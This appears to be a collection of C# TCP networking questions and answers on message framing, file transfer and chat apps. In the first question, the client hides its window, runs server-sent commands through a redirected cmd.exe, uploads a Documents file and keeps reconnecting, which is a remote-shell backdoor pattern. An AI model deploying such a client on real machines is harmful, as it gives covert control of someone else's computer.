Please bear in mind I am new to C# language and networking so forgive me if this might sound obvious.
I'm just in the process of understanding TCP clients and how to separate streams...
In this example, I have 3 sets of data that I want to send...
is a CMD output:
private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
buffer = encoder.GetBytes("2 " + outLine.Data+ "\r\n");
networkStream = newclient.GetStream();
networkStream.Write(buffer, 0, buffer.Length);
networkStream.Flush();
}
catch (Exception err) { }
}
}
Which returns as a first stream the following:
With a prebuffer as number 2(To separate the data)
The second Is a simple get info:
private void GetClientinfo()
{
networkStream = newclient.GetStream();
buffer = encoder.GetBytes("1 " + Environment.MachineName +"\n"+"Connected");
networkStream.Write(buffer, 0, buffer.Length);
networkStream.Flush();
}
Which then sends the following :
So then my stream ends up being separated:
My issue is then that I try to send a file with the following script:
private void sendFile()
{
// Create the preBuffer data.
string string1 = String.Format("9 ");
byte[] preBuf = Encoding.ASCII.GetBytes(string1);
// Create the postBuffer data.
string string2 = String.Format("");
byte[] postBuf = Encoding.ASCII.GetBytes(string2);
string filePath = #"\Users\nico_\Documents\transfer_ex.txt";
newclient.Client.SendFile(filePath, preBuf, postBuf, TransmitFileOptions.UseDefaultWorkerThread);
}
As you can see, it ends up getting jumbled up with the second stream being sent...
What would be the cause of this?
FULL SERVER SCRIPT:
public partial class Form1 : Form
{
TcpListener tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666);
private int appStatus = 0;
TcpClient client;
TcpClient streamData;
List<TcpClient> clientList = new List<TcpClient>();
NetworkStream networkStream;
Thread th_StartListen, th_handleClient;
StringBuilder strOutput;
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
th_StartListen = new Thread(new ThreadStart(StartListen));
th_StartListen.Start();
txtCmdOutput.Focus();
}
private void StartListen()
{
//Creating a TCP Connection and listening to the port
tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666);
tcpListener.Start();
toolStripStatusLabel1.Text = "Listening on port 6666 ...";
int counter = 0;
appStatus = 0;
while (appStatus != 2)
{
try
{
client = tcpListener.AcceptTcpClient();
counter++;
clientList.Add(client);
IPEndPoint ipend = (IPEndPoint)client.Client.RemoteEndPoint;
//Updating status of connection
toolStripStatusLabel1.Text = "Connected from "+ IPAddress.Parse(ipend.Address.ToString());
appStatus = 1;
th_handleClient = new Thread(delegate () { handleClient(client, counter); });
th_handleClient.Start();
}
catch (Exception err)
{
{
Cleanup();
}
}
}
}
private void handleClient(object client, int i)
{
try
{
TcpClient streamData = (TcpClient)client;
byte[] data = new byte[4096];
byte[] sendData = new byte[4096];
int byteRead;
string strdata;
ASCIIEncoding encode = new ASCIIEncoding();
Thread.Sleep(2000);
NetworkStream networkstream = streamData.GetStream();
//Send Command 1
sendData = encode.GetBytes("1");
networkstream.Write(sendData, 0, sendData.Length);
networkstream.Flush();
//Listen...
while (true)
{
byteRead = 1;
byteRead = networkstream.Read(data, 0, 4096);
//receiveFile();
if (networkstream.DataAvailable != true)
{
strdata = Encoding.ASCII.GetString(data, 0, byteRead);
Debug.WriteLine(strdata);
//Get user info
if (strdata.StartsWith("1"))
{
updateLabel(labelMachinename, strdata, 0);
updateLabel(labelSampleOutput, strdata, 1);
}
if (strdata.StartsWith("2"))
{
updateText(txtCmdConsole, strdata);
}
if (strdata.StartsWith("9"))
{
Debug.WriteLine(strdata);
}
//receiveFile();
}
}
}
catch (Exception err)
{
{
Cleanup();
}
}
}
private void receiveFile()
{
StreamReader reader = new StreamReader(client.GetStream());
string fileSize = reader.ReadLine();
string fileName = reader.ReadLine();
int length = Convert.ToInt32(fileSize);
byte[] buffer = new byte[length];
int received = 0;
int read = 0;
int size = 1024;
int remaining = 0;
while (received < length)
{
remaining = length - received;
if (remaining < size)
{
size = remaining;
}
read = client.GetStream().Read(buffer, received, size);
received += read;
}
// Save the file using the filename sent by the client
using (FileStream fStream = new FileStream(Path.GetFileName(fileName), FileMode.Create))
{
fStream.Write(buffer, 0, buffer.Length);
fStream.Flush();
fStream.Close();
}
Debug.WriteLine("File received and saved in " + Environment.CurrentDirectory);
}
private void txtCmdOutput_KeyDown(object sender, KeyEventArgs e)
{
try
{
if (e.KeyCode == Keys.Enter && appStatus == 1)
{
TcpClient streamData = (TcpClient)client;
byte[] sendData = new byte[4096];
ASCIIEncoding encode = new ASCIIEncoding();
NetworkStream networkstream = streamData.GetStream();
sendData = encode.GetBytes("2 "+ txtCmdOutput.Text.ToString());
networkstream.Write(sendData, 0, sendData.Length);
networkstream.Flush();
txtCmdOutput.Text = "";
}
}
catch (Exception err) {
{
Cleanup();
}
}
}
private void updateLabel(Label label,string strdata, int row)
{
label.Invoke((MethodInvoker)delegate
{
label.Text = strdata.Substring(2).Split(new char[] { '\r', '\n' })[row];
});
}
private void updateText(TextBox text, string strdata)
{
text.Invoke((MethodInvoker)delegate
{
text.AppendText(strdata.Substring(2));
});
}
private void btnKillClient_Click(object sender, EventArgs e)
{
try
{
TcpClient streamData = (TcpClient)client;
byte[] sendData = new byte[4096];
ASCIIEncoding encode = new ASCIIEncoding();
NetworkStream networkstream = streamData.GetStream();
sendData = encode.GetBytes("3");
networkstream.Write(sendData, 0, sendData.Length);
networkstream.Flush();
Cleanup();
}
catch (Exception err)
{
{
Cleanup();
}
}
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
System.Environment.Exit(System.Environment.ExitCode);
}
private void Cleanup()
{
try
{
toolStripStatusLabel1.Text = "Connection Lost";
}
catch (Exception err) { }
}
}
FULL CLIENT SCRIPT:
public partial class Form1 : Form
{
private int appStatus = 0;
TcpClient newclient = new TcpClient();
NetworkStream networkStream;
byte[] buffer = new byte[4096];
ASCIIEncoding encoder = new ASCIIEncoding();
Process processCmd;
Thread th_ListenToServer, th_RunServer;
public Form1()
{
InitializeComponent();
}
private void Form1_Shown(object sender, EventArgs e)
{
this.Hide();
th_ListenToServer = new Thread(new ThreadStart(ListenToServer));
th_ListenToServer.Start();
//ConnectToServer();
}
private void ListenToServer()
{
while (!newclient.Connected)
{
try
{
newclient = new TcpClient();
Debug.WriteLine("trying to connect...");
newclient = new TcpClient("127.0.0.1", 6666);
networkStream = newclient.GetStream();
th_RunServer = new Thread(new ThreadStart(RunServer));
th_RunServer.Start();
}
catch (Exception ex)
{
Debug.WriteLine("Could not connect to server");
System.Threading.Thread.Sleep(5000); //Wait 5 seconds then try again
}
}
}
private void RunServer()
{
byte[] data = new byte[4096];
int i;
string strdata;
i = 0;
CmdHandler();
sendFile();
while (newclient.Connected)
{
try
{
i = 0;
i = networkStream.Read(data, 0, data.Length);
if (i == 0) { break; }
strdata = Encoding.ASCII.GetString(data, 0, i);
Debug.WriteLine(strdata);
if (strdata == "1")
{
GetClientinfo();
}
if (strdata.StartsWith("2"))
{
//Debug.WriteLine(strdata);
processCmd.StandardInput.WriteLine(strdata.Substring(2));
}
if (strdata.StartsWith("3"))
{
StopServer();
}
if (strdata.StartsWith("4"))
{
StopServer();
}
else
{
//sendFile();
}
}
catch
{
Cleanup();
new Thread(ListenToServer).Start();
Debug.WriteLine("Attempting Reconection");
}
}
}
private void sendFile()
{
/*
// Create the preBuffer data.
string fileName = #"\Users\nico_\Documents\transfer_ex.txt";
byte[] fileNameByte = Encoding.ASCII.GetBytes(fileName);
byte[] fileNameLen= BitConverter.GetBytes(fileNameByte.Length);
byte[] fileData = File.ReadAllBytes(fileName);
byte[] clientData = new byte[4 + fileNameByte.Length + fileData.Length];
fileNameLen.CopyTo(clientData, 0);
fileNameByte.CopyTo(clientData, 4);
fileData.CopyTo(clientData, 4 + fileNameByte.Length);
networkStream = newclient.GetStream();
buffer = encoder.GetBytes("9 " + clientData);
networkStream.Write(buffer, 0, buffer.Length);
networkStream.Flush();
*/
string string1 = String.Format("9 ");
byte[] preBuf = Encoding.ASCII.GetBytes(string1);
// Create the postBuffer data.
string string2 = String.Format("");
byte[] postBuf = Encoding.ASCII.GetBytes(string2);
string filePath = #"\Users\nico_\Documents\transfer_ex.txt";
newclient.Client.SendFile(filePath, preBuf, postBuf, TransmitFileOptions.UseDefaultWorkerThread);
}
private void GetClientinfo()
{
networkStream = newclient.GetStream();
buffer = encoder.GetBytes("1 " + Environment.MachineName + "\n" + "Connected");
networkStream.Write(buffer, 0, buffer.Length);
networkStream.Flush();
}
private void CmdHandler()
{
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
//processCmd.OutputDataReceived += CaptureOutput;
//processCmd.ErrorDataReceived += CaptureError;
processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.ErrorDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
}
private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
buffer = encoder.GetBytes("2 " + outLine.Data + "\r\n");
networkStream = newclient.GetStream();
networkStream.Write(buffer, 0, buffer.Length);
networkStream.Flush();
}
catch (Exception err) { }
}
}
private void Cleanup()
{
try { processCmd.Kill(); } catch (Exception err) { };
networkStream.Close();
}
private void StopServer()
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}
}
Your first output appends \r\n, which results in separation from the second output. The second output embeds a \n (not \r\n) and ends with nothing, which means nothing separates it from the third output.
Either add a newline after data in GetClientInfo, or add one to preBuf in sendFile().
Or switch to something less ambiguous, like length-prefixing.
Here is the answer:
CLIENT SIDE:
private void sendFile()
{
string string1 = "9";
byte[] preBuf = Encoding.ASCII.GetBytes(string1);
// Create the postBuffer data.
string string2 = "";
byte[] postBuf = Encoding.ASCII.GetBytes(string2);
string filePath = #"\Users\nico_\Documents\transfer_ex.txt";
newclient.Client.SendFile(filePath, preBuf, postBuf, TransmitFileOptions.UseDefaultWorkerThread);
}
SERVER SIDE:
private void ReceiveFile(byte[] data, int byteRead)
{
var path = #"\Users\nico_\Documents\transferreeedd_ex.txt";
FileStream fs = File.OpenWrite(path);
//Debug.WriteLine(byteRead);
//Debug.WriteLine(data);
string ddstrdata = Encoding.ASCII.GetString(data, 0, byteRead);
for (int i = 1; i < byteRead; i++)
{
Debug.WriteLine(i);
fs.WriteByte(data[i]);
}
fs.Close();
}
If you dont use any separtators, on newclient.Client.SendFile you can just put the Filepath and on Server side int i = 0 & not int i = 1
Related
I´ve got a problem with my TCP client.
My TCP server sends a Bitmap as a String to the TCP client. At the moment there are 15 bmp per second. My Problem is, that most of them are read as "//////...." when I convert the received byte array to a string.
My TCP server code is (C#):
private void StreamWriter(byte[] writeMessage)
{
TcpClient client = new TcpClient();
client.Connect(IPAddress.Parse(Ip), Port);
NetworkStream streamSender = client.GetStream();
streamSender.Write(writeMessage, 0, writeMessage.Length);
streamSender.Flush();
streamSender.Close();
client.Close();
}
private void sendImage()
{
while (send)
{
MemoryStream mem = new MemoryStream();
image.Save(mem, System.Drawing.Imaging.ImageFormat.Bmp);
mem.Close();
mem.Dispose();
StreamWriter(Encoding.ASCII.GetBytes(Convert.ToBase64String(mem.ToArray())));
i++;
}
}
My client code is (Android Studio):
class MyServerThread implements Runnable {
#Override
public void run() {
try {
ServerSocket ss = new ServerSocket(50000);
while (true) {
Socket s = ss.accept();
InputStream is = (s.getInputStream());
BufferedInputStream bufferedReader = new BufferedInputStream(is);
byte[] contents = new byte[440000];
int bytesRead = 0;
while ((bytesRead = bufferedReader.read(contents)) != -1) {
message = new String(contents, 0, bytesRead);
}
is.close();
bufferedReader.close();
if (message.equals("Connection OK!")) {
createIP();
} else {
createPic();
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
I found a solution.
This is the client code now:
class MyServerThread implements Runnable {
#Override
public void run() {
try {
ServerSocket ss = new ServerSocket(50000);
while (true) {
Socket s = ss.accept();
InputStream is = (s.getInputStream());
BufferedReader r = new BufferedReader(new InputStreamReader(is));
StringBuilder total = new StringBuilder();
String line;
while ((line = r.readLine()) != null) {
total.append(line);
}
message = total.toString();
s.close();
is.close();
if (message.equals("Connection OK!")) {
createIP();
} else {
createPic();
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
I'm trying to send a file about 250 kb to server but i have a corruption and it seemd that tottaly transfered some bytes only. The flow of command is
Write to stream: Send\r\n
Write to stream: FileName\r\n
Write to stream: FileData \r\n
Close the connection
Here is the code:
TcpClient sendClient = new TcpClient(serverName, port);
SslStream sendStream = new SslStream(sendClient.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
try
{
sendStream.AuthenticateAsClient(serverName, null, SslProtocols.Ssl2, true);
sendStream.Write(Encoding.UTF8.GetBytes("Login\r\n" + username + "\r\n" + password + "\r\n"));
sendStream.Flush();
int bytesResp = -1;
byte[] buffer = new byte[1026];
bytesResp = sendStream.Read(buffer, 0, buffer.Length);
string response = Encoding.UTF8.GetString(buffer, 0, bytesResp);
if (response.Trim() == "OK")
{
byte[] fileNameByte = Encoding.UTF8.GetBytes(fileName + "\r\n");
byte[] fileData = File.ReadAllBytes(filePath);
byte[] newLine = Encoding.ASCII.GetBytes("\r\n");
byte[] clientData = new byte[4 + Encoding.ASCII.GetBytes("Send\r\n").Length + fileNameByte.Length + fileData.Length+newLine.Length];
byte[] fileNameLen = BitConverter.GetBytes(fileNameByte.Length);
byte[] send = Encoding.ASCII.GetBytes("Send\r\n");
send.CopyTo(clientData, 0);
fileNameLen.CopyTo(clientData, 4 + send.Length);
fileNameByte.CopyTo(clientData, send.Length);
fileData.CopyTo(clientData, 4 + fileNameByte.Length + send.Length);
newLine.CopyTo(clientData, 4+ fileNameByte.Length + send.Length + fileData.Length);
MessageBox.Show(clientData.Length.ToString());
sendStream.Write(clientData, 0, clientData.Length);
sendStream.Flush();
sendStream.Write(Encoding.UTF8.GetBytes("Quit\r\n"));
sendClient.Close();
}
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
Does anybody have an idea please?
You haven't told us about the other end of the connection, so this answer is partially speculative...
BitConverter.GetBytes(fileNameByte.Length); is likely to be a little-endian conversion.
Almost all network encoding will be big-endian, so this is a strong candidate for the failure.
I suggest you use the EndianBitConverter.Big converter from Jon Skeet's miscutil to get the proper encoding order.
I send file up to 1GB with this code
Server Code
using System;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Net.Sockets;
using System.Net;
using System.IO;
namespace Server_FileSend
{
public partial class Form1 : Form
{
Socket Server = null;
Socket Client = null;
Thread trStart;
Thread trRecive;
const int sizeByte = 1024;
public Form1()
{
InitializeComponent();
}
private void ReciveFile()
{
while (true)
{
try
{
byte[] b = new byte[sizeByte];
int rec = 1;
int vp = 0;
rec = Client.Receive(b);
int index;
for (index = 0; index < b.Length; index++)
if (b[index] == 63)
break;
string[] fInfo = Encoding.UTF8.GetString(b.Take(index).ToArray()).Split(':');
this.Invoke((MethodInvoker)delegate
{
progressBar1.Maximum = int.Parse(fInfo[0]);
});
string path = Application.StartupPath + "\\Downloads\\";
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
FileStream fs = new FileStream(path + fInfo[1], FileMode.Append, FileAccess.Write);
string strEnd;
while (true)
{
rec = Client.Receive(b);
vp = vp + rec;
strEnd = ((char)b[0]).ToString() + ((char)b[1]).ToString() + ((char)b[2]).ToString() + ((char)b[3]).ToString() + ((char)b[4]).ToString() + ((char)b[5]).ToString();
if (strEnd == "!endf!")
{
fs.Flush();
fs.Close();
MessageBox.Show("Receive File " + ((float)(float.Parse(fInfo[0]) / 1024)).ToString() + " KB");
break;
}
fs.Write(b, 0, rec);
this.Invoke((MethodInvoker)delegate
{
progressBar1.Value = vp;
});
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
Form1_FormClosing(null, null);
}
}
}
private void StartSocket()
{
Server.Listen(1);
Client = Server.Accept();
trRecive = new Thread(new ThreadStart(ReciveFile));
trRecive.Start();
}
private void Form1_Load(object sender, EventArgs e)
{
Server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
IPEndPoint IP = new IPEndPoint(IPAddress.Any, 5050);
Server.Bind(IP);
trStart = new Thread(new ThreadStart(StartSocket));
trStart.Start();
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
try
{
trRecive.Abort();
trStart.Abort();
Environment.Exit(Environment.ExitCode);
}
catch (Exception)
{
Environment.Exit(Environment.ExitCode);
}
}
}
}
Client Code
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Clienf_fileSend
{
public partial class Form1 : Form
{
Socket Client = null;
Thread trRecive;
const int sizeByte = 1024;
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
try
{
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
IPEndPoint IP = new IPEndPoint(IPAddress.Parse(textBox1.Text), 5050);
Client.Connect(IP);
button1.Enabled = false;
button2.Enabled = true;
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void SendFile(object FName)
{
try
{
FileInfo inf = new FileInfo((string)FName);
progressBar1.Invoke((MethodInvoker)delegate
{
progressBar1.Maximum = (int)inf.Length;
progressBar1.Value = 0;
});
FileStream f = new FileStream((string)FName, FileMode.Open);
byte[] fsize = Encoding.UTF8.GetBytes(inf.Length.ToString() + ":");
byte[] fname = Encoding.UTF8.GetBytes(inf.Name + "?");
byte[] fInfo = new byte[sizeByte];
fsize.CopyTo(fInfo, 0);
fname.CopyTo(fInfo, fsize.Length);
Client.Send(fInfo);
if (sizeByte> f.Length)
{
byte[] b = new byte[f.Length];
f.Seek(0, SeekOrigin.Begin);
f.Read(b, 0, (int)f.Length);
Client.Send(b);
}
else
{
for (int i = 0; i < (f.Length - sizeByte); i = i + sizeByte)
{
byte[] b = new byte[sizeByte];
f.Seek(i, SeekOrigin.Begin);
f.Read(b, 0, b.Length);
Client.Send(b);
progressBar1.Invoke((MethodInvoker)delegate
{
progressBar1.Value = i;
});
if (i + sizeByte >= f.Length - sizeByte)
{
progressBar1.Invoke((MethodInvoker)delegate
{
progressBar1.Value = (int)f.Length;
});
int ind = (int)f.Length - (i + sizeByte);
byte[] ed = new byte[ind];
f.Seek(i + sizeByte, SeekOrigin.Begin);
f.Read(ed, 0, ed.Length);
Client.Send(ed);
}
}
}
f.Close();
Thread.Sleep(1000);
Client.Send(Encoding.UTF8.GetBytes("!endf!"));
Thread.Sleep(1000);
MessageBox.Show("Send File " + ((float)inf.Length / 1024).ToString() + " KB");
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void button2_Click(object sender, EventArgs e)
{
OpenFileDialog fdl = new OpenFileDialog();
if (fdl.ShowDialog() == DialogResult.OK)
{
trRecive = new Thread(new ParameterizedThreadStart(SendFile));
trRecive.Start(fdl.FileName);
}
fdl = null;
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
try
{
trRecive.Abort();
Environment.Exit(Environment.ExitCode);
}
catch (Exception)
{
Environment.Exit(Environment.ExitCode);
}
}
}
}
I have this tcp socket chat application from youtube
server side
int i;
TcpListener server = new TcpListener(IPAddress.Any, 1980);
NetworkStream stream;
TcpClient client;
byte[] datalength = new byte[4];
public Form1()
{
InitializeComponent();
}
public void ServerReceive()
{
stream = client.GetStream();
new Thread(() =>
{
while ((i = stream.Read(datalength, 0, 4)) != 0)
{
byte[] data = new byte[BitConverter.ToInt32(datalength, 0)];
stream.Read(data, 0, data.Length);
this.Invoke((MethodInvoker)delegate
{
txtLog.Text += System.Environment.NewLine + "Client : " + Encoding.Default.GetString(data);
});
}
}).Start();
}
public void ServerSend(string msg)
{
stream = client.GetStream();
byte[] data;
data = Encoding.Default.GetBytes(msg);
int length = data.Length;
byte[] datalength = new byte[4];
datalength = BitConverter.GetBytes(length);
stream.Write(datalength, 0, 4);
stream.Write(data, 0, data.Length);
}
private void btnSend_Click(object sender, EventArgs e)
{
try
{
if (client.Connected)
{
ServerSend(txtSend.Text);
}
}catch
{
txtLog.Text += "connection close";
}
}
private void btnListen_Click(object sender, EventArgs e)
{
server.Start();
new Thread(() =>
{
client = server.AcceptTcpClient();
if (client.Connected)
{
ServerReceive();
}
}).Start();
}
client side
int i;
TcpClient client;
NetworkStream stream;
byte[] datalength = new byte[4];
public Form1()
{
InitializeComponent();
}
public void ClientReceive()
{
stream = client.GetStream();
new Thread(() =>
{
while ((i = stream.Read(datalength, 0, 4)) != 0)
{
byte[] data = new byte[BitConverter.ToInt32(datalength, 0)];
stream.Read(data, 0, data.Length);
this.Invoke((MethodInvoker)delegate
{
txtLog.Text += System.Environment.NewLine + "Server : " + Encoding.Default.GetString(data);
});
}
}).Start();
}
public void ClientSend(string msg)
{
stream = client.GetStream();
byte[] data;
data = Encoding.Default.GetBytes(msg);
int length = data.Length;
byte[] datalength = new byte[4];
datalength = BitConverter.GetBytes(length);
stream.Write(datalength, 0, 4);
try
{
stream.Write(data, 0, data.Length);
}
catch
{
stream.Dispose();
client.Close();
}
}
private void btnConnect_Click(object sender, EventArgs e)
{
try
{
client = new TcpClient("127.0.0.1", 1980);
ClientReceive();
txtLog.Text += Environment.NewLine+ "Connected";
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void btnSend_Click(object sender, EventArgs e)
{
if (client.Connected)
{
ClientSend(txtSend.Text);
}
}
now, all of these works fine for me, however everytime i close one them i get this error
'Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host.' at ClientReceive() or ServerReceive()
how should i catch this error if one of them suddenly closed or the network cable suddenly unplug? thanks in advance
In this case, you're receiving a System.IO.IOException from the NetworkStream object. This exception has a nested System.Net.Sockets.SocketException with an ErrorCode of 10054 (SocketErrorCode == ConnectionReset). To handle the exception, use a try-catch block. For example,
using System;
using System.IO;
using System.Net.Sockets;
stream = client.GetStream();
new Thread(() =>
{
try
{
while ((i = stream.Read(datalength, 0, 4)) != 0)
{
byte[] data = new byte[BitConverter.ToInt32(datalength, 0)];
stream.Read(data, 0, data.Length);
this.Invoke((MethodInvoker)delegate
{
txtLog.Text += System.Environment.NewLine + "Server : " + Encoding.Default.GetString(data);
});
}
}
catch (IOException ioex)
{
if (ioex.InnerException != null)
{
var sex = ex.InnerException as SocketException;
if (sex == null)
{
txtLog.Text += Environment.NewLine + "An unknown exception occurred.";
}
else
{
switch (sex.SocketErrorCode)
{
case SocketError.ConnectionReset:
txtLog.Text += Environment.NewLine + "A ConnectionReset SocketException occurred."
break;
default:
txtLog.Text += Environment.NewLine + "A SocketException occurred.";
break;
}
}
}
else
{
txtLog.Text += Environment.NewLine + "An IOException occurred.";
}
}
}).Start();
I am transferring file via socket programming in C# with the code given below. But when I take pdf as input file, it is not received correctly. I have seen sent and received files in notepad, they are not same.
I am not able to figure it out. any help appreciated !!!
Server Code:
class ConnectionInfo
{
public Socket Socket;
public byte[] Buffer;
public int client;
public string fileName;
}
class Program
{
static int chunkSize = 16 * 1024;
static int chucksizeWithoutHeaderData = chunkSize - 8;
static List<ConnectionInfo> list = new List<ConnectionInfo>();
static Socket serverSocket;
static int nClient = 0;
static void AcceptCallback(IAsyncResult result)
{
ConnectionInfo info = new ConnectionInfo();
info.Socket = serverSocket.EndAccept(result);
info.Buffer = new byte[chunkSize * 4];
Console.WriteLine("Client connected");
nClient++;
info.client = nClient;
list.Add(info);
info.Socket.BeginReceive(info.Buffer, 0, info.Buffer.Length, SocketFlags.None, new AsyncCallback(ReceiveCallBack), info);
serverSocket.BeginAccept(new AsyncCallback(AcceptCallback), null);
}
static void ReceiveCallBack(IAsyncResult result)
{
ConnectionInfo info = result.AsyncState as ConnectionInfo;
try
{
Int32 nSegmentNumber = BitConverter.ToInt32(info.Buffer, 0);
Int32 nMaxSegment = BitConverter.ToInt32(info.Buffer, 4);
string strFileName = string.Format(#"D:\xyz.pdf", info.client);
//int bySize = info.Socket.EndReceive(result);
int bySize = 0;
try
{
bySize = info.Socket.EndReceive(result);
}
catch (Exception ex)
{
Console.WriteLine("Error from client {0}: {1}", info.client, ex.Message);
return;
}
if (bySize <= 0)
{
return;
}
using (FileStream fs = new FileStream(strFileName, FileMode.OpenOrCreate))
{
Console.WriteLine("Received segment {0} of {1} from client {2}", nSegmentNumber, nMaxSegment, info.client);
fs.Position = fs.Length;
fs.Write(info.Buffer, 8, bySize - 8);
Console.Write("Content in FILE: " + Encoding.ASCII.GetString(info.Buffer));
if (nSegmentNumber >= nMaxSegment)
{
Console.WriteLine("Completed receipt from client {0}", info.client);
}
}
info.Socket.BeginReceive(info.Buffer, 0, info.Buffer.Length, SocketFlags.None, new AsyncCallback(ReceiveCallBack), info);
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
static void Main(string[] args)
{
try
{
Console.WriteLine("Server");
IPAddress address = IPAddress.Parse("127.0.0.1"); //The IP address of the server
IPEndPoint myEndPoint = new IPEndPoint(address, 6503);
serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
serverSocket.Bind(myEndPoint);
serverSocket.Listen(1000);
Console.WriteLine("Press enter to end server");
Console.ReadLine();
}
catch (Exception ex)
{
Console.WriteLine(ex);
Console.ReadLine();
}
}
}
Client code:
class Program
{
static TcpClient socket = new TcpClient();
static int chunkSize = 16 * 1024;
static int chucksizeWithoutHeaderData = chunkSize - 8;
static byte[] byReceiveBuffer = new byte[chunkSize * 4];
static void ReceiveCallBack(IAsyncResult result)
{
Socket socket = result.AsyncState as Socket;
try
{
int bySize = socket.EndReceive(result);
Console.WriteLine("Recieved bytes {0}", bySize);
if (bySize != 0)
{
Int32 nSegmentNumber = BitConverter.ToInt32(byReceiveBuffer, 0);
Int32 nMaxSegment = BitConverter.ToInt32(byReceiveBuffer, 4);
Console.WriteLine("Received segment {0} of {1}", nSegmentNumber, nMaxSegment);
string strFileName = string.Format(#"c:\temp\client-from-server.dat");
using (FileStream fs = new FileStream(strFileName, FileMode.OpenOrCreate))
{
fs.Position = fs.Length;
fs.Write(byReceiveBuffer, 8, bySize - 8);
}
if (nSegmentNumber >= nMaxSegment)
{
Console.WriteLine("all done");
}
}
socket.BeginReceive(byReceiveBuffer, 0, byReceiveBuffer.Length, SocketFlags.None, new AsyncCallback(ReceiveCallBack), socket);
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
static void Main(string[] args)
{
Console.WriteLine("Press enter to go");
Console.ReadLine();
socket.Connect("127.0.0.1", 6503);
Console.WriteLine("Client");
Console.ReadLine();
string filePath = "";
string fileName = "C:\\abc.pdf";
//fileName = fileName.Replace("\\", "/");
while (fileName.IndexOf("\\") > -1)
{
filePath += fileName.Substring(0, fileName.IndexOf("\\") + 1);
fileName = fileName.Substring(fileName.IndexOf("\\") + 1);
}
byte[] byBuffer;
using (FileStream fs = new FileStream(#filePath+fileName, FileMode.Open, FileAccess.Read, FileShare.None))
{
using (BinaryReader br = new BinaryReader(fs))
{
int nMaxChunk = 0;
int nCurrentChunk = 0;
nMaxChunk = (int)(fs.Length / chucksizeWithoutHeaderData);
if ((nMaxChunk * chucksizeWithoutHeaderData) < fs.Length)
{
++nMaxChunk;
}
byte[] byMaxChunk = BitConverter.GetBytes(nMaxChunk);
Int64 nAmount = 0;
while (fs.Length > nAmount)
{
++nCurrentChunk;
byte[] byCurrentChunk = BitConverter.GetBytes(nCurrentChunk);
byBuffer = br.ReadBytes(chucksizeWithoutHeaderData);
Console.WriteLine("Sending {0}bytes, chunk {1} of {2}", byBuffer.Length, nCurrentChunk, nMaxChunk);
byte[] byTransmitBuffer = new byte[byBuffer.Length + 8];
Array.Copy(byCurrentChunk, byTransmitBuffer, 4);
Array.Copy(byMaxChunk, 0, byTransmitBuffer, 4, 4);
Array.Copy(byBuffer, 0, byTransmitBuffer, 8, byBuffer.Length);
socket.Client.Send(byTransmitBuffer);
nAmount += byBuffer.Length;
}
}
}
socket.Client.Disconnect(false);
Console.WriteLine("done");
Console.ReadLine();
}
}
My Server Class:
namespace Net_Send_File
{
class Server
{
private TcpListener listener;
private IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 15550);
private bool active;
string arg;
// private Socket xxx;
public Server()
{
Console.Clear();
Console.Title = "Server";
Main();
}
private void Main()
{
listener = new TcpListener(ipep);
try
{
listener.Start();
active = true;
ListenForConnections();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.ReadLine();
}
}
private void ListenForConnections()
{
Console.Clear();
Console.WriteLine("Listening for connections...");
while (active)
{
TcpClient client = listener.AcceptTcpClient();
Console.BackgroundColor = ConsoleColor.Green;
Console.WriteLine("Connection # {0}", TCPIP(client));
new Thread(new ParameterizedThreadStart(HandleClientData)).Start(client);
}
}
private void HandleClientData(object _c)
{
TcpClient c = (TcpClient)_c;
string ipaddr = TCPIP(c);
NetworkStream s = c.GetStream();
// I tried this byte[] buffer = new byte[c.ReceiveBufferSize]; It throws an Exeption.
byte[] buffer = new byte[1024];
int bytesRead;
while (active)
{
bytesRead = 0;
try
{
bytesRead = s.Read(buffer, 0, buffer.Length/2);
}
catch (Exception ex)
{
Console.WriteLine("Socket error # {0}:\r\n{1}", ipaddr, ex.Message);
Console.ReadLine();
break;
}
if (bytesRead == 0)
{
Console.BackgroundColor = ConsoleColor.Red;
Console.WriteLine("Disconnected # {0}", ipaddr);
//new Thread(new ParameterizedThreadStart.ListenForConnections);
